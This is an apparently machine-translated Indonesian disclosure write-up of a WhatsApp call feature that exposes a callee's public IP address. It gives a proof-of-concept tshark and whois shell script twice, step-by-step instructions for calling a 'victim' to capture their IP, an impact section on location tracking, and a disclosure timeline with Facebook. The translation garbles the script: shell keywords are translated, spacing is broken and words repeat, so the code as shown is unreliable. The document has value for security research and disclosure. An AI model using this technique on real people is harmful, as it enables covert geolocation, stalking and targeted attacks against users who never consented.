Whatsapp IP leak

Bocor alamat IP dan geolokasi pengguna target whatsapp

Penafian

Program ini hanya untuk tujuan pendidikan. Jangan menggunakannya tanpa izin. Penafian yang biasa berlaku, terutama fakta bahwa saya (BHDRESH) tidak bertanggung jawab atas kerusakan yang disebabkan oleh penggunaan informasi atau fungsionalitas langsung atau tidak langsung yang disediakan oleh program -program ini. Penulis atau penyedia internet tidak bertanggung jawab atas konten atau penyalahgunaan program -program ini atau turunannya. Dengan menggunakan program ini, Anda menerima fakta bahwa kerusakan apa pun (Dataloss, crash sistem, kompromi sistem, dll.) Yang disebabkan oleh penggunaan program -program ini bukanlah tanggung jawab Bhdresh.

Akhirnya, ini adalah perkembangan pribadi, tolong hormati filosofinya dan jangan gunakan untuk hal -hal buruk!

Deskripsi/dampak

Video POC:

https://vimeo.com/577355374

Detail lengkap

Versi terbaru dari aplikasi WhatsApp di semua platform rentan terhadap pengungkapan IP publik WhatsApp Pengguna WhatsApp.

Diamati bahwa selama panggilan whatsapp (suara / video), aplikasi di sisi penelepon mencoba untuk membuat koneksi langsung dengan alamat IP publik perangkat penerima. Dengan memfilter alamat IP server Facebook dan WhatsApp dari host tujuan, dimungkinkan untuk mengungkapkan alamat IP publik yang benar dari pengguna WhatsApp target tanpa sepengetahuannya.

Berikut ini adalah skrip cepat untuk mengeksploitasi kerentanan ini,

---

#!/bin/sh

filter = tshark -i eth0 -T fields -f "udp" -e ip.dst -Y "ip.dst!=192.168.0.0/16 and ip.dst!=10.0.0.0/8 and ip.dst!=172.16.0.0/12" -c 100 |sort -u |xargs|sed "s/ / and ip.dst!=/g" |sed "s/^/ip.dst!=/g"

Echo "Tekan Enter dan panggil target Anda."

Baca baris

tshark -i eth0 -l -t bidang -f "udp" -e ip.dst -y "$ filter" -y "ip.dst! = 192.168.0.0/16 dan ip.dst! = 10.0.0.0/8 dan dan dan dan dan dan ip.dst! = 172.16.0.0/12 "| Sambil membaca baris do whois $ line> /tmp /b

Filter = cat /tmp/b |xargs| egrep -iv "facebook|google"|wc -l

jika ["$ filter" -gt 0]; kemudian targetInfo = cat /tmp/b| egrep -iw "OrgName:|NetName:|Country:" echo $ line --- $ targetinfo fi selesai

---

Dampak

Kemungkinan untuk memetakan pengguna WhatsApp dengan IP publik mereka tidak hanya akan mengungkapkan informasi lokasi pengguna WhatsApp tetapi juga dapat disalahgunakan untuk melacak pergerakan fisik mereka dengan mempertahankan riwayat lokasi. Pemetaan langsung antara pengguna ke informasi IP juga dapat disalahgunakan untuk melacak kebiasaan berselancar pengguna dan untuk memengaruhinya.

Lebih lanjut, IP publik dapat dieksploitasi untuk meluncurkan serangan yang ditargetkan terhadap rumah atau kantor pengguna WhatsApp.

Langkah -langkah repro

Pengaturan

Pengguna: Usera memiliki detail whatsapp dari userb

Lingkungan: N/A.

Browser: N/A.

Versi Aplikasi: <= Versi Terbaru Aplikasi WhatsApp di platform apa pun

OS: Semua platform kecuali web

Deskripsi: Usera membuat panggilan WhatsApp ke UserB dan menangkap informasi IP publiknya tanpa sepengetahuan Userb. Video POC untuk pemahaman yang lebih baik tentang langkah -langkah: https://vimeo.com/577355374

Tangga

Langkah 1: Mulai WiFi Hotspot pada Mesin Penyerang dan Hubungkan Telepon Penyerang ke Penyerang SSID

Langkah 2: Mulai skrip POC (di bawah) pada mesin penyerang yang sekarang bertindak sebagai router untuk telepon penyerang

---

#!/bin/sh

filter = tshark -i eth0 -T fields -f "udp" -e ip.dst -Y "ip.dst!=192.168.0.0/16 and ip.dst!=10.0.0.0/8 and ip.dst!=172.16.0.0/12" -c 100 |sort -u |xargs|sed "s/ / and ip.dst!=/g" |sed "s/^/ip.dst!=/g"

Echo "Tekan Enter dan panggil target Anda."

Baca baris

tshark -i eth0 -l -t bidang -f "udp" -e ip.dst -y "$ filter" -y "ip.dst! = 192.168.0.0/16 dan ip.dst! = 10.0.0.0/8 dan dan dan dan dan dan ip.dst! = 172.16.0.0/12 "| Sambil membaca baris do whois $ line> /tmp /b

Filter = cat /tmp/b |xargs| egrep -iv "facebook|google"|wc -l

jika ["$ filter" -gt 0]; kemudian targetInfo = cat /tmp/b| egrep -iw "OrgName:|NetName:|Country:" echo $ line --- $ targetinfo fi selesai

---

Langkah 3: Hubungi pengguna WhatsApp secara acak untuk menangkap alamat IP server untuk memfilter

Langkah 4: Hubungi korban di whatsappnya

Langkah 5: Putuskan sambungan panggilan setelah ditetapkan

Langkah 6: Script akan mengungkapkan alamat IP publik dari target

Langkah 7: Validasi alamat IP publik pada telepon target

Garis waktu pengungkapan

1. 14 Oktober 2020 - Dilaporkan Kerentanan ke Facebook
2. 14 Oktober 2020 - Respons dari Facebook (terima kasih atas laporan Anda. Dalam hal ini, masalah yang Anda jelaskan sebenarnya hanya fungsionalitas yang dimaksudkan dan karenanya tidak memenuhi syarat untuk hadiah.)
3. 14 Oktober 2020 - Balas ke Facebook (bisakah Anda memberi tahu saya bagaimana pengguna WhatsApp dapat mengurangi pengungkapan IP dan potensial informasi pribadi yang tidak disengaja ini tentang lokasinya?)
4. 16 Oktober 2020 - Email tindak lanjut
5. 20 Oktober 2020 - Respons dari Facebook (karena sifat protokol peer to peer, metode terbaik bagi pengguna yang mungkin khawatir tentang pengungkapan yang tidak disengaja adalah dengan mengambil pendekatan proaktif. Ini dapat mencakup membatasi panggilan ke pengguna tepercaya atau menggunakan a VPN.)
6. 18 Januari 2021 - Meminta izin untuk pengungkapan publik (dalam kasus seperti itu, apakah baik -baik saja jika saya mempublikasikan temuan ini dengan pengungkapan publik?)
7. 18 Januari 2021 - Respons dari Facebook (keputusan untuk menerbitkan sepenuhnya milik Anda. Tidak ada hukuman untuk melakukannya.)
8. 20 Maret 2021 - Komunikasi lebih lanjut dengan Facebook (selama penelitian saya telah memperhatikan bahwa sinyal telah memperkenalkan fitur untuk menyampaikan panggilan melalui server sinyal untuk membatalkan alamat IP yang mengungkapkan .... bisakah Anda memeriksa kembali pendekatan untuk membatasi panggilan ke pengguna tepercaya atau Menggunakan VPN? Saya percaya menggunakan VPN sepanjang waktu bukanlah solusi yang layak untuk melindungi privasi lokasi.)
9. 23 Maret 2021 - Respons dari Facebook (saat ini kami puas dengan implementasi panggilan WhatsApp kami saat ini.)
10. 03 Juli 2021 - Pengungkapan Publik